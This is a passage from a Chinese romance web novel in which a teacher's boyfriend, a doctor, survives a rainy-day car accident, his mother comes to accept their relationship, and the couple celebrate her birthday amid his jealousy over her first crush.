比如那个可以对话的机器人,比如像她一样尽心为米棠的将来考虑。 又浪漫,又务实。 叶之一点头,“好啊,糖糖喜欢听动画片,经常跟着学,能背出很长一段台词。” “节后我带你认识我朋友,先去她的工作室看看,她教的小朋友当中有很出色的配音演员,配过国内上映的动画电影。” “嗯。” 学校旁边有一棵石榴树,被沈千苓盯上了,她想尝尝味道。 俞杨准备上树,沈千苓不让,她要自己摘,也没想着找梯子,就野蛮地踩着他的身体往上爬。 沈大小姐娇生惯养,哪会爬树,脚下一滑,差点摔下去。 站在树下的米棠紧张兮兮的,她看不见,担心来源于未知,亲眼看到沈千苓的小腿被划出一道红印的俞杨更紧张,眉头越皱越深。 俞杨蹲下去,“坐我肩上,去摘矮处的。” 沈千苓不太乐意,“那边的石榴没有树顶上的红。” “待会儿你的腿被划流血了,就是最红的。” “……” 孩子们午睡醒了,被蒋煜带领着,手牵手去找米棠玩。 叶之一在远处看着,蒋煜先举起米棠,耐心地等她摸到石榴,她双手用力一拽,清脆童真的笑声便传出老远。 蒋煜把米棠放到安全的地方,再依次抱起其他几个孩子。 这种石榴也能吃,但味道不怎么样,又酸又涩,果肉是半透明的,有一点点粉色。 沈千苓被酸得眼睛都眯起来,但她为了骗俞杨,转过身就装出一副自然的表情,“超级甜,俞杨你尝尝。” 也不知道俞杨是真的信了还是哄她高兴,张嘴把她手里的石榴全吃了。 两人同时吐出硬硬的石榴籽,去找水喝。 真年轻啊。 叶之一忍不住笑。 “小姨,石榴是酸的,不好吃,”米棠悄声说,她拎着一串葡萄,摘下一颗,递到叶之一的嘴边,“你吃葡萄。” 蒋煜记得叶之一讨厌葡萄,他走过去,“喂我。” 米棠摸到蒋煜的脸,把葡萄喂给他。 她实在太开心了,原地转了一圈,乐呵呵地去和朋友们分享玩具。 叶之一拿了张湿巾给蒋煜擦手,擦完手指擦手心,她轻声说:“我现在不讨厌葡萄的味道了。” 可以坦然接受自己不完美的过去,自然而然就摆脱掉整个青春期都挥之不去的烂葡萄气味,那股粘在用来买校服的现金上面的、过度发酵的酸腐味。 蒋煜从前以为这是她的个人喜好,就像有人讨厌榴莲一样正常。 他的目光一直在她脸上,“为什么?” “那肯定是因为心理成熟了,”她抬起头,眼里是温柔的笑意,“总不能是因为你吧。” 蒋煜握住她的手,指腹贴着她的脉搏轻轻摩挲,“不说我晚上就不走了。” “也没什么,就是初二那年学校要求买新校服,我那个活着不如死了的爹不管我,后妈不愿意给我钱,我求着要,她才丢给我几张现金,当时她在剥葡萄吃,那几张纸币湿漉漉,黏糊糊,还粘着一粒葡萄籽,我一边恶心,一边捡。” 她讲得轻松,蒋煜听着心疼。 每次听她说起过往,他都是用这样潮湿的眼神,长久地看着她。 叶之一靠过去抱他,“好啦,过去了。” “怎么是你安慰我?” “我怕你在糖糖面前哭,有损形象。” …… 天气阴沉沉的,5号晚上就开始下雨。 6号上午,丘新竹坐公交车来学校,她到的时候雨还停了一会儿,下午迎来一场瓢泼大雨。 雨声太嘈杂,电视声音听不清,学生们都在宿舍里。 叶之一从抽屉里拿出沈千苓落在学校的手串,拍了张照片发过去,说她晚上带给蒋煜。 沈千苓回复了一个表情包,附带一句生日祝福:【小鱼嫂子,提前祝你生日快乐。我哥接到你了吗?】 叶之一:【他今天值班啊,难道是骗我的?】 沈千苓:【糟了!被我说漏嘴了!】 叶之一笑了笑,打字:【他还没到,放心,我会装作不知道的。】 沈千苓:【还没到吗?不应该呀,他两点多就出发了。】 叶之一看时间,都快五点了。 雨天路况不好,开慢一点更安全,但也不会耽搁太久,叶之一心中隐隐不安。 又等了十分钟,这种不安感更沉重,她不想维持什么惊喜了,给蒋煜打电话。 电话通着,没人接。 雨势有所减小,外面天色灰暗,叶之一反复拨打着蒋煜的电话,拿起车钥匙,离开学校。 从村里出去就这一条路,叶之一开了十几分钟,在拐弯处,车灯照着路边有一辆侧翻的车,车轮卡在排水沟里。 她下意识看车牌。 是蒋煜的车。 巨大的恐慌感翻涌而来,心跳有一瞬间的停滞,叶之一猛踩刹车,推开车门往前跑。 车里没人,他的手机在车座底下震动,叶之一摸到手机,视线被雨水模糊,她看不清屏幕。 住在路边的人家有位老太太出来,叶之一连忙去问情况。 老太太说:“那个小伙子是在情急之下避开一个乱跑的孩子才翻车的,我儿子送他去第一医院了。” 叶之一连谢谢都忘了说,上车就直接往第一医院赶。 她衣服淋湿了,到医院急诊找护士时,手都在抖。 护士指了一间诊室,叶之一大步走过去,诊室的门半开着。 他父母在里面—— 作者有话说:没事的嗷,没事的 第49章 叶之一听到了蒋煜的声音, 他没进手术室,大概伤得不严重。 紧绷到近乎窒息的情绪稍稍得以喘息,她握在门把上的手悄无声息地松开, 往后退了两步,背靠着墙壁。 医院急诊外从不缺焦急担忧的人, 大家神色匆忙, 各有各的狼狈。 即使她现在立刻离开,也没人过多留意。 雨天气温不高, 再加上她淋了雨,墙壁的凉意透过衣服往身体里入侵, 令人手脚轻微发颤。 急促的呼吸渐渐平复, 叶之一打算去卫生间把自己整理一下再来敲门,半掩着的房门突然从里面打开了。 高跟鞋和黑色行政西装进入余光范围内, 叶之一垂在身侧的手下意识握紧, 她转过身,面对董玥站着, 礼貌地问了好。 她在的位置对于病房内的人来说是视线盲区, 声音又低, 蒋煜发现不了。 董玥关上门,扶了一下银框眼镜。 等在走廊里的司机走到她身边, “董局。” 董玥问他:“附近有没有适合谈话的地方?” 司机开车来的路上没有太注意,他拿出手机快速搜索,“距离医院八百米左右有家咖啡馆。” 董玥再次看向叶之一,“小叶, 跟我聊聊?” 她的语气和刚才跟司机说话时有细微不同,叶之一点头,“好。” 外面还在下雨, 司机撑开一把雨伞,董玥握住伞柄。 “我不吃人,靠过来点儿,都十月份了,淋雨容易生病。” 这话显然是对叶之一说的。 司机小跑着去取车了,叶之一深呼吸,向董玥靠近,主动抬手接过雨伞。 天已经完全黑了,董玥脚下一滑,她本能反应,紧紧抓住身边人的手臂。 叶之一连忙扶住董玥,听着董玥的惊呼声,忽然没那么紧张了。 她第一次见董玥,也不是害怕,那时她还没毕业,一身学生气,自尊心又强,忍受不了对方高高在上地俯视她,其实落在她身上的眼神只是一种打量,难分褒贬。 后来她进入公司,经过实习、转正、跳槽和被男性领导性骚扰,才切身体会到女性谋生有多么不易,职场就应该多一些有话语权的女领导。 董玥站稳后拍了拍叶之一的手背,“手这么凉。” 叶之一回答道:“没事。” 司机很快就把车开了过来,他下车替董玥开车门,叶之一从另一边上车。 咖啡馆也就800米远,司机当然不会跟过去,董玥下车前,递给司机一张银行卡,“小李,帮忙买一件女款外套送过来。” 叶之一意识到衣服是给她的,连忙说:“阿姨,不用麻烦……” 董玥说:“你请我喝咖啡,这样就扯平了。” 再拒绝就有些矫情了,叶之一下车撑伞,两人并肩进了咖啡馆。 这种天气,店里客人少,董玥和叶之一在最里侧的位置坐下。 叶之一咖啡因不耐受,喝了肠胃不舒服,也会心慌失眠,几年前两人在装修简陋的甜品店见面,她没有胆量和勇气表达出她不能喝咖啡,尽管咖啡不是重点,这次她给自己点了一杯热牛奶,不卑不亢地等待着董玥先开口。 偶像剧里的俗套桥段永不过时,她在想,如果董玥今天又要给她一笔钱,让她离开蒋煜,她该作何反应。 她低眸沉思,对面的董玥也在观察她,她淋了雨,挽在脑后的头发松散凌乱,显然是一路担惊受怕急匆匆赶来医院。 多年前那一次谈话太久远了,董玥想起年初在蒋煜家仓皇见过的那一面,当时的叶之一和现在大不相同,那天她尴尬窘迫,甚至不敢和董玥对视,今天坦然自若。 店员先送来一杯牛奶,几分钟后,又端过来一杯咖啡放到董玥面前。 董玥问:“为什么不告诉蒋煜,你们毕业那年,我找过你?” 据她所致,蒋煜跟叶之一已经和好了,如果蒋煜知道是她导致他们分开五年,一定会回家大吵大闹。 亲情血脉割不断,但有了隔阂,本就单薄的母子感情再难复原。 这一个月,叶之一和蒋煜即使忙得没空约会见面,每晚最少也要通一个小时的电话,他讲在国外读书的经历,她讲没有他参与的那段少女时光或者糖糖,能聊的事情有很多,唯独一句不提就是分手前董玥私底下找过她。 “我已经伤害过他一次,没必要再让他在亲情和爱情的两难抉择间痛苦求全。阿姨,除了家庭和出身,我不认为我配不上他,这两样我选不了,如果您对儿子女朋友的考量因素当中,家境是必不可少的,那我没办法,只能惹您讨厌了。” 董玥气定神闲地喝了口咖啡,摘掉眼镜后,目光里少了几分窥探人心的锐利,“往上数几代,谁不是农民出身?” 叶之一怔了一瞬,抬眸看向她。 董玥笑了笑,“本来我是打算多给你们设置一些考验,年轻人总是很天真,把爱情当饭吃,如果爱到三十六岁还分不开,大概就是所谓的真爱吧,那时候我就不干涉了,随他去,想结婚就结婚,想生孩子就生孩子。时间可以检验一个项目发展得成功与否,不一定能消磨爱情,但一定会消耗亲情。” 话中的意思,不言而喻。 她愿意为了蒋煜接受他喜欢的人。 …… 叶之一换上司机买来的外套后走进病房。 蒋父把蒋煜安顿好就离开了。 车侧翻了,但蒋煜命大,只是轻微脑震荡,额头撞破了一处,右胳膊大片乌青,手臂内侧发麻,使不上力,他做过检查,好在没伤到神经,除此之外,脖子和后背也有些酸痛。 “吓坏了,是不是?”蒋煜用左手抱她,“手机落在车里了,我就没跟你说。” 他身上一股药味,叶之一感受着他有力的心跳,有种从未有过的安心。 姐姐是车祸去世的,她看到车牌号的那一刻,大脑一片空白。 她不敢想最坏的结果,手抖得握不住方向盘,途中几次停下来。 幸好。 幸好。 叶之一的声音闷闷的:“你还想瞒着我?” 脑袋上贴着纱布,想瞒也瞒不住。 蒋煜浑身痛,语气故作轻松,“这么好的机会,瞒着你干什么?我要你心疼我。” 她眉头蹙起,“好机会?” “我说错了,”蒋煜从善如流,连呸三声,“生日一年才一次,我给你留下了一笔不好的记忆。” 他竟然还有心情考虑她的生日。 叶之一又气又想笑,“生日年年都过,我们又不是只有这一年,你没事就好。蒋煜,我真的被你吓死了,你要是出了意外……” 蒋煜逗她:“你也活不下去了?” “你想得美。我这么年轻,又这么漂亮,找个好男人恋爱不是难事。这年头,谁会蠢到去殉情?” “别做梦,我就是变成鬼也要死死缠着你,你找谁,我就索谁的命。” 蒋煜在输液,叶之一担心针管回血,轻轻推开他。 她去过医生办公室,已经确定他只是轻伤,然而亲眼看着仍旧有些揪心。 额头流血了必须清创包扎,至于脸上的轻微擦伤,他懒得贴创可贴,过几天就好了。 擦伤处在他的鼻梁左侧,叶之一撕开一枚创可贴,轻轻贴在皮肤上。 她轻声问:“我去买晚饭,你想吃什么?” 蒋煜说:“回家吃,你拿我的手机打电话,让钟点阿姨去家里做,冰箱里有菜,不用买。” 本来的计划是,他接到她,两人一起回家,他做晚饭,在零点到来时为她庆生。 虽然他的厨艺比不上钟点阿姨,但她喜欢吃他做的菜。 叶之一把他的手放进被子里,“你现在是病人,要听医生的话,住院修养一周,晚上不能回家。” “我心里有数,”蒋煜反握住她的手,让她安心,“你来之前,我就跟医生说好了,乖,打电话。” 医院都是他的熟人,不会强行留他住院。 病房里睡不好,也不方便,叶之一就给钟点阿姨打了通电话。 最后一瓶药输完,将近九点半,蒋煜坐进叶之一那辆二手车的副驾时心有余悸,但凡他当时反应慢一点,这会儿必定还在抢救室。 人有牵挂,就很难直面生死。 叶之一靠过去帮他系安全带,在他唇角亲了一下,“我慢点开。” 蒋煜低头回吻她,声音低低哑哑的:“我得活一百岁。” 他们到家,钟点阿姨正好做完最后一道菜。 蒋煜想换衣服,他浑身不舒服。 叶之一担心他扯到伤口,“将就一晚,别洗澡了。” “我难受,”蒋煜往主卧浴室里走,左手揉着右肩,“胳膊抬不起来。” “所以啊,不要瞎折腾,睡前用毛巾擦擦。” “不洗澡我睡不着。” 从医院回来,身上有味道,他这个人吃饭不挑食,但爱干净。 叶之一突然觉得他比米棠还难搞定,“那你小心点,有事叫我。” 毛巾和沐浴露都放在他随手能拿到的地方,她准备去衣帽间给他找睡衣,手腕被他握住。 浴室光线明亮,叶之一两眼茫然,“干嘛?” 蒋煜看着她,缓慢地说出两个字:“帮我。” 叶之一:? 第50章 在叶之一来这里过夜之前, 主卧的浴室只有蒋煜用。 他生活不过分奢靡,但也不亏待自己,这个浴室的面积比外面的大, 多一个浴缸,灯光明亮但并不刺眼。 叶之一反应了一会儿, 视线落到蒋煜身上。 他左手的手背扎过针, 右臂全是淤青,额头贴着纱布, 脸上的创可贴也不防水,衣服上还有血渍, 看着惨兮兮的。 这么多年, 在浴室这种私密性极强的地方,无论是帮他脱衣服还是帮他洗澡, 她都没有做过。 蒋煜不明着催促她, 只是不紧不慢地说:“饭菜凉了又要重新热。” 更亲密的事情都做过很多次,她倒不是害羞, 是有点别扭。 时间已经很晚了, 把他晾在一边像在虐待病人。 “你站好, 别乱动,”叶之一关上门。 蒋煜很配合。 握在手腕上的力道松开, 叶之一转过身,靠近他,抬起手先帮他解衬衣的扣子。 解到第三颗,她就忍耐不住了, “你把眼睛闭上。” 蒋煜唇角上扬,故作无知,“我的眼睛怎么了?” “你的眼睛吵到我了, ”叶之一手上的动作没停,他一直盯着她看,让她心烦,“再这样我不管你了,你自己洗,扯到伤口就忍着。” 蒋煜悠闲地拉长语调:“好好好,我闭。” 他上半身只穿了一件衬衣,没系领带,解完扣子就很好脱,叶之一小心避开他手臂上的擦伤和淤青,脱下衬衣,随手扔进脏衣框里。 手表也好摘,放在洗手台上,等会儿再带出去。 她的目光在皮带扣头停顿了几秒,镇定地把手放上去,他这会儿如果还有精力逗趣,那纯粹就是自讨苦吃。 金属扣落地的声响很清脆,他踩着堆在地上的西装裤往旁边走了一步。 叶之一捡起裤子,和衬衣放在一起,去试花洒的水温。 蒋煜提醒她:“还剩一件。” “穿着洗,”叶之一头都不抬。 “我不习惯,而且不卫生。” “再烦人,我把内裤脱下来塞你嘴里。” 蒋煜笑了笑,睁开眼睛,抬手抹去她脸上被花洒溅到的水滴,“别生气,从在病房见到你开始,你就很紧张,到家也一刻不放松。” 叶之一取下他指间的戒指,“差点被你吓死。” 她不紧张就是不关心他,无所谓他的生死,蒋煜喜欢这种强烈的在意感,但如果如果要用她的担惊受怕来交换,挺不值的。 米曦禾车祸去世,一句话都没留下。 叶之一赶去医院的时候,只剩一具冰冷的尸体。 她眼角轻微泛红,大概是哭过。 蒋煜握着她的手,贴着他心口的位置,“家里没外人,你摸摸,我的心跳很正常。就是些外伤,养养就好了,我以后开车一定注意,不让你担心。” 叶之一低低地应了一声:“嗯。” 他额头有伤,头发洗得慢,她没让纱布沾到一点水。 相比起来,洗下面的时候就相当潦草,她用花洒随意冲掉沐浴露泡沫,就给他围上浴巾。 在帮他洗澡的过程中,她的衣服弄湿了,就顺便简单洗了一下。 两人换好睡衣坐在餐厅吃饭,是二十分钟后。 厨房有暖菜板,菜还是热的。 左手拿筷子很笨拙,叶之一给蒋煜换了把勺子,她给他夹什么菜,他就吃什么。 咖啡馆里的谈话还在耳边,董玥的态度让人无所适从,叶之一正想问问蒋煜,是不是他在她不知道的时候做了些什么,米棠打电话过来。 “小姨,外婆今天带我去坐碰碰车了。” “好玩吗?” “好玩呀,笑笑姐姐轻轻地撞我,我不害怕。” “你快快睡觉,我明天回家,”叶之一告诉她,“医生叔叔在我旁边,跟他打个招呼吧。” 米棠张口就问:“医生叔叔,你和小姨睡在一起吗……” 童真的话音未落,只剩呜呜声,应该是被米梅捂住了嘴巴。 米梅拿起电话,“没什么事,她想你,非要打个电话。你们也早点休息。” “妈,”叶之一咳嗽两声,“你把手机扩音关掉。” 米梅听出她有事要说,不想让孩子知道,“好了。” “蒋煜受了点伤,你给你的闺蜜炖骨头汤的时候,多做一份呗。” “受伤?严不严重?在医院吗?我去看看!” “不严重,我们在家。” 米梅平复心情,问完伤情,又问蒋煜爱吃什么菜,叶之一报了几道他比较喜欢、米梅也很擅长的菜名。 挂电话前,叶之一看向对面的蒋煜。 她和米梅说话时,他的目光一直在她脸上,深沉,温柔,但又和在浴室里不一样。 她轻轻碰了一下他捏着勺子的手。 蒋煜回过神,对着手机谦和礼貌地说了句:“阿姨再见。” 通话结束,叶之一把手机放在一旁,继续吃饭。 雨天喝碗热汤可以驱寒,她先给他盛一碗,“我只是让我妈给你做顿午饭,你就感动了?” 她不仅愿意敞开心扉讲述她的过往,也在慢慢让他走进她的家庭。 蒋煜目光温和,“嗯,想冲动地去找戒指跟你求婚。” “不要。” “拒绝地有点太干脆了吧。” “你现在的样子不太像能踏实过日子的人。” “那像什么?” 他穿着灰色睡衣,短发随性吹干,比平时在医院工作西装领带白大褂的模样显年轻。 叶之一认真地自上而下地看了一遍他的眉眼五官,想了想,“像逃课、打架、早恋、闹事一样不落的坏学生。” 蒋煜笑着挑眉,“用不用我告诉你,每学期有多少学生叫我蒋老师?” “不必,”叶之一给他夹了片牛肉,没有放在碗里,直接喂到他嘴边,“蒋老师,你那么喜欢在课间讲自己的爱情故事,等假期结束,你带伤去上课,会不会让学生们看笑话,误会你这些伤口里也有一段情?” 蒋煜面不改色,“就算是为情受伤又如何,我不怕丢脸。” 等等…… 他把牛肉咽下,喝了口汤,视线灼灼地盯着她,“你刚才叫我什么?” 叶之一装茫然,“什么?” 蒋煜笑得温和,“没关系,零点过后,我慢慢让你回忆起来。” 蛋糕在冰箱里,叶之一拆盒,蒋煜点蜡烛。 窗外雨声淅淅沥沥,关灯后,餐厅就只剩摇曳的烛光。 蛋糕是纯白色的,中间有两只天鹅。 叶之一双手合十,虔诚地许愿。 好吧,她今年的愿望有很多。 蒋煜将藏在椅子上的礼物全拿到桌面上,她才睁开眼。 “1,2,3……”竟然有七份礼物,叶之一跟他开玩笑,“明年不过了?” “这些补上我缺失的五年,”蒋煜单独拿出两个礼盒,“这两份是去年和今年的。” 她不急着拆礼物,用勺子挖了一小块蛋糕喂给他,“好吃吗?” 与价格无关,蒋煜更喜欢她给他买的那个苹果蛋糕,“造型远大于味道。” 对于不爱吃甜食的叶之一来说,蛋糕有漂亮精致的造型远比味道重要,她拍了好几张照片,留在手机相册里。 吹灭蜡烛后,卧室里的灯光散出来。 蒋煜说:“不切了,尝一口意思意思?” “好啊,”叶之一绕到他这一边,仰头吻他。 她只浅吻,舌尖沿着他的唇形舔了舔,若即若离,似乎真的只是在品尝奶油的香甜。 “生日快乐”四个字模糊在唇齿间,蒋煜撑在桌面上的左手难以自控地收拢,克制的结果是,他放弃抵抗生理反应,可以自由活动的左手搂住她的腰,低头加深这个吻。 他下午才从鬼门关走了一趟,叶之一只是情到浓时想亲亲他,这是分开后他第一次陪她过生日,跨过零点,迎来新的明天,没想到会发展成不好收场的局面。 细细密密的吻落在她脖颈上,呼吸渐热,她听到他沙哑的声音:“怎么办?” 靠得这么近,她感受得到,“……忍一忍吧。” 身上的伤重不重,蒋煜自己心里有数。 “我没办法,只能你小心点了。” “嗯?” 蒋煜往后退,坐到沙发上,拍了拍他的腿。 光线暗,叶之一只看得清他的轮廓,意会到他的意思之后,耳朵周围的皮肤瞬间升温,头皮发麻。 预感到她要丢下他往卧室里跑,蒋煜身体靠着沙发,左手扶了下右臂,像是痛得难以忍受。 听着他浓稠的喘息声,叶之一分辨不出真假,可能是她刚才碰到了那一大片淤青。 她连忙走近。 蒋煜顺势握住她的手腕,把她往他身上拽。 叶之一下意识用膝盖撑起身体的重量,不压到他。 扣子早已松散的真丝睡衣用手指轻轻一挑就往下滑,胸口一热,神经末梢都在轻颤。 她的手不知道该往哪里放,轻声惊呼:“你不要命了!” 他闷声低笑,滚烫的呼吸吹在她皮肤上,带起轻微涟漪,“我的命没丢在车祸事故里,丢在床上,算你有本事。” 她是柔软的。 “你的伤……” “所以得辛苦你。” 睡衣挂在臂弯,遮住腰线。 秋季雨势多变,这场雨停一会儿,下一会儿。 雨水噼里啪啦打在玻璃窗上,十分嘈杂,屋里的声音被弱化,伏在他身上起落的身影显得模糊。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第51章【VIP】 第51章 一场雨过后, 天气转凉。 蒋煜上午在医学院上课,下午回医院输液。 他和死神擦肩而过,差点归西, 左桉和方序身为好友自然要来医院看看他。 爱情再无可能,但友情一时半会儿断不干净, 其实也没到要老死不相往来的程度, 只是徐薏歆心里的障碍并未完全消除,她不想单独去探病, 让两家长辈觉得她余情未了,就跟着左桉去了。 他们到的时候, 护士正在帮蒋煜换药。 左桉走近病房, 先掀开被子上下打量蒋煜。 他没有缺胳膊少腿,只是一些外伤, 左桉就理所当然地误以为他的车祸不是意外而是人为, 是他挽回旧爱的一种自我毁灭式的手段。 某些男人一旦死磕,就会为达目的机关算尽不遗余力, 下限很低, 低到旁人难以想象的地步, 自虐算什么,如果对方对他没感情, 他撞进火葬场都没用,有用的手段不叫手段,叫调情。 护士贴好纱布,抬头确定完输液瓶剩余的药量后离开。 徐薏歆没待太久, 接了个电话就走了。 左桉拉了把椅子坐到病床边,破具兴味地笑看蒋煜,啧声感叹:“你为了复合, 真是无所不用其极。” 他习惯性点烟,想起这是在病房,就把打火机收了起来,挑眉瞟了方序一眼,“方大律师,你要是能学到一半,也不会眼睁睁地看着前任成为别人的老婆。” 方序刚参加完前任的婚礼,他这几天频繁被身边的人调侃打趣,已经脱敏了。 这不是单人病房,另外一张病床空着是因为患者早上刚出院。 方序把仅剩的一把椅子推给蒋煜的发小,他站着,低眸瞧着蒋煜,似笑非笑地问:“要女人不要命,你不怕撞死了有女人心疼没命享受?” 嗯,看似脱敏,但攻击性很强。 蒋煜没心情看书了,合上书本,漫不经心地回答:“信他的鬼话,你的律师别当了,去跟退休老头老太太们一起买保健品。” 方序无言以对。 左桉半信半疑:“这次是真和好了?” 情人节之前,左桉碰巧撞见叶之一来医院给蒋煜送午饭,蒋煜一幅“他们和好了,别来沾边”的得意人夫姿态。 当时大家真的以为这两位不折麽别人只折磨对方的怨侣放下芥蒂复合了。 谁知道,没过几天他们就断崖式分开,朋友们聚在外面喝酒,提都不能提,提了他准翻脸。 这是第二瓶药水,胳膊有些酸。 蒋煜靠着枕头,抬手轻轻捏着眉心,不紧不慢地回答:“和好不是因为我受伤,是因为她爱我。” 左桉很难忽视他手上的戒指,扎着针都不摘,迫不及待地宣告他是有妇之夫的心思藏都藏不住。 “这话说着很没底气吧,”左桉意味不明地笑了一声。 关系好到一定程度,就没什么不能说的。 蒋煜平波无澜的眼眸悄无声息地暗沉,语气不变:“你什么意思?你觉得她没那么爱我?” 左桉悠闲地翘着二郎腿,给自己剥了一根香蕉,“除了你本人,谁能确切地感受到?” 方序的视线从蒋煜脸上掠过,好笑地踢了左桉一脚,“别气他了,万一把伤口气裂开了,你负责给他疗伤?” 左桉两手一摊,嗤笑道:“一个两个都挺敏感的。” 初恋。 这个词莫名其妙突然出现在脑海里,令人胸口发闷。 蒋煜看着左桉,怎么看怎么不顺眼。 左桉的身高体型跟蒋煜差不多,两人能穿同一套衣服,左桉长了双桃花眼,从懂得男女之事时就被女人捧惯了,渣得明明白白,但对每一任都很慷慨,愿意花钱,也愿意花时间,所以即使他万花丛中过,为他要死要活的女人依旧多如过江之鲫,有的甚至不要名分。 他高中就已经很招人了。 叶之一高中拒绝追求者的理由统一都是她只谈身材好的大帅哥。 雨夜匆匆一瞥,连对方长什么样都没看清就心动了,这并不代表她不是颜控,毕竟越朦胧越有氛围。 上午那两节课的内容理论性太强,蒋煜的课件做得再好,授课方式再年轻化,也难免枯燥无味。 课间有学生聊起初恋。 她们说,初恋如皎月,是满天星辰也无法替代的存在。 哪怕生活中见不到面,也会在某个时刻忽然想起他,想起最初心动的感觉。 蒋煜至今仍记得他准备求婚那天,柔和灯光下,有几分醉意的叶之一眉眼温柔,单手托脸,看着窗外的漂亮的夜景,无意识地陷入回忆。 过了那么久,她连初遇时心动对象买了什么饮料这种不重要的细节都能讲出来。 嫉妒是吞噬性极其可怕的情绪。 蒋煜说不清楚,是左桉拿了他的校园卡抢先出现在她面前,还是他在不知道的时候抢占了左桉留在她身边的机会。 左桉从公司过来,西装革履,还是一如既往的英俊潇洒。 蒋煜早起照镜子,脸上的擦伤结痂了,伤口颜色加深,他自己都觉得不太好看。 他更心烦了,“我要睡觉,滚吧。” 左桉低头看手表,“谁这个时间睡觉?” “我是病人,想睡就睡,比不上左总工作繁忙日理万机。” “……” 相比起来,方序还是有人性的,“我去餐厅给你打包一份晚饭送过来?” 蒋煜闭上眼睛,“不用。” 左桉笑了笑,“你不至于吧?” 蒋煜置若罔闻,没搭理他。 左桉自讨没趣,这茬是他挑起来的,蒋煜给他脸色看,纯属他活该。 两人走出病房,方序诚心建议:“你嘴贱的毛病,是得改改了。” 左桉伸手按下电梯按钮,无所谓地道:“我跟他认识二十多年了,如果说话藏着掖着,不叫真朋友。” “难道你真的对他女朋友有意思?” “美人嘛,赏心悦目,腿好看,脸也漂亮,还有几分人格魅力,但那一点点意思不够让我得罪朋友。你别看他半年前什么都不在乎,我要是真挖他墙角,他肯定要想办法在工作上为难我。” 方序佩服左桉的坦然,“他有危机感,上次怎么还让你帮忙给小孩儿带礼物?” 左桉笑道:“除了我,没有其他合适的人选,再者,他也想看看我对叶之一真欣赏还是假公济私。” …… 这几天,叶之一在医院、学校、蒋煜家和自己家四个地方来回跑。 她午饭后离开学校,去见了一位特教老师,结束后直接去医院,正巧在住院部一楼遇到方序和左桉。 他们有说有笑的,看到她打了招呼,戏谑般告诉她,楼上病房里有人心情不好。 她推开病房门,往里看,蒋煜躺着。 他没睡着,听到动静就睁开眼睛,看到是她,眼眸中晦涩的情绪和不耐烦快速褪去。 叶之一放下包,去开水房接了杯热水,回来后用矿泉水兑到合适的温度。 她调整病床高度,把枕头垫在他腰后,将护士放在桌上的药片喂给他,“左总和方律这么快就走了,你一个人输液无聊,为什么不多聊一会儿?” 蒋煜喝完杯子里的水,脸颊贴着她的手心轻蹭,“他们的嘴太坏了,没得聊。” 他身体不舒服,叶之一哄着他:“欺负病患实在是过分,我应该再跑快一点,赶早一趟地铁,帮你气气他们。” 蒋煜的心情肉眼可见地转好,“晚上回家吗?” 他问的是,她是跟他回家,还是回自己家。 “陪你,”叶之一的脾气很好,“别给钟点阿姨打电话,晚饭我来做。” “你白天很累,在家少沾油烟。” “今天没干什么,不累,你还没怎么吃过我做的菜呢。” 她也就是年初给他送过一次工作餐。 蒋煜想都没想,“吃过,你忘了?上学的时候,你假期不回家跟我一起住校外的房子,下厨做过饭,你做的焦糖蚝油很好吃。” 那都是多少年前的事了,叶之一不禁失笑,“还有没有别的想吃的?” 蒋煜说:“你做什么我都爱吃。” 最后一瓶药输完,两人打出租车回家。 人到家,下单买的食材也送到了。 时间还早,叶之一简单冲洗一下,换了件舒适的衣服,用发夹把长发牢固定在脑后,去厨房备菜。 蒋煜可以自己洗澡。 他没吹头发,只用毛巾擦了擦,不滴水就出来了。 叶之一戴着他送的手表洗菜切菜不方便,他走过去帮她摘下来,放进包里,然后就靠在门口看她。 她在家和在外面是不一样的状态,不仅仅是生活和工作的区别,只有他们两个人时,她更放松,连散落的碎发都更温婉。 长久相伴的竹马都走不进她心里,一闪即逝的心动初恋可能也不算什么,蒋煜这样自我安慰。 只是,人是贪心的。 叶之一有条不紊地把鸡翅剪成两半,依次加入调味料腌制。 她洗干净手,关掉水龙头,正要准备别的菜,他从身后搂住她的腰。 “怎么了……唔……”她刚扭头,就被吻住。 蒋煜稍稍后退,等她转过来面对着他,他往前靠近,在她想说话时低头吻她,一点点深入。 他低声问:“我的脸丑吗?” 叶之一愣了几秒钟,反应过来后,靠在他怀里,笑得肩膀都在颤抖。 “很帅。” 听着相当敷衍。 蒋煜捏着她的下巴抬高,堵住她艰难隐忍的笑声—— 作者有话说:完结倒计时喽~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第52章【VIP】 男人的自尊心总是体现在一些莫名其妙的小事上。 这次车祸不仅导致他的身体受了伤, 也让他时常没有安全感。 哪怕只有一天没见面,回到家关上门,洗掉从医院带回来的气味, 他就会寸步不离地粘着她。 两人的关系从来都只取决于她。 她要分开,无论他怎么纠缠, 都改变不了她的决定。 她想和好, 根本不用她花心思追他,他自己就会按耐不住。 叶之一刚洗完手, 双手湿漉漉的。 她摸到一包纸巾,抽出几张, 把手上的水渍擦干净后, 身体轻微后仰,结束这个即将失控的吻。 蒋煜的眼神有些迷离, 透出不满, 扶在她腰上的手往上,握住她的后颈, 追着吻。 叶之一双手捧住他的脸。 她用冷水洗菜, 手上带有些微凉意, 贴着他的皮肤,存在感很强。 “让我仔细看看。” 她不只是嘴上说, 目光灼灼地游弋在他眉眼间,把所有的注意力都放在他身上。 “眼睛深邃明亮,像小山雀,鼻子还是很挺, 嘴巴也很好亲,休息时间多,皮肤状态好, 清清爽爽的,是很帅啊。” 她轻轻摸了摸结痂的位置。 “很多明星粉丝都说战损是男演员的医美,有些剧还没播出,就靠几张带伤剧照大出圈。” 手机就在旁边,她点开宋佳岚转发给她的视频,反转屏幕给蒋煜看。 是他的学生在课间偷拍的几段短视频,有他戴着口罩的侧脸,有他摘下口罩喝水的片段,有他给学生答疑解惑的样子,也有他低头看手机回消息的样子,剪辑在一起,配了音乐,发到网上,点赞量和收藏量都很惊人。 他为了遮挡鼻梁上的擦伤,戴了眼镜,有些角度既斯文又败类。 叶之一笑着亲亲他,“你不是疤痕体质,按照医嘱涂药,肯定不会留疤的。” 蒋煜被她的三言两语哄好了,埋在她颈窝闷声笑了笑。 他是被左桉给刺激到了,脑袋里总在想这个事。 蒋煜,大度点儿,一个短暂惊艳她的青春初恋而已,不要太当回事。 他自我劝慰。 她有恋爱洁癖,如果明确地告诉她,那个人是花蝴蝶左桉,她对初恋的完美记忆一定会立刻幻灭。 “我来洗菜。”蒋煜挽起袖子。 叶之一把他往外面推,“去看会儿书,或者找个电影。” “哪种电影?” “适合吃饭看的,不要太血腥。” 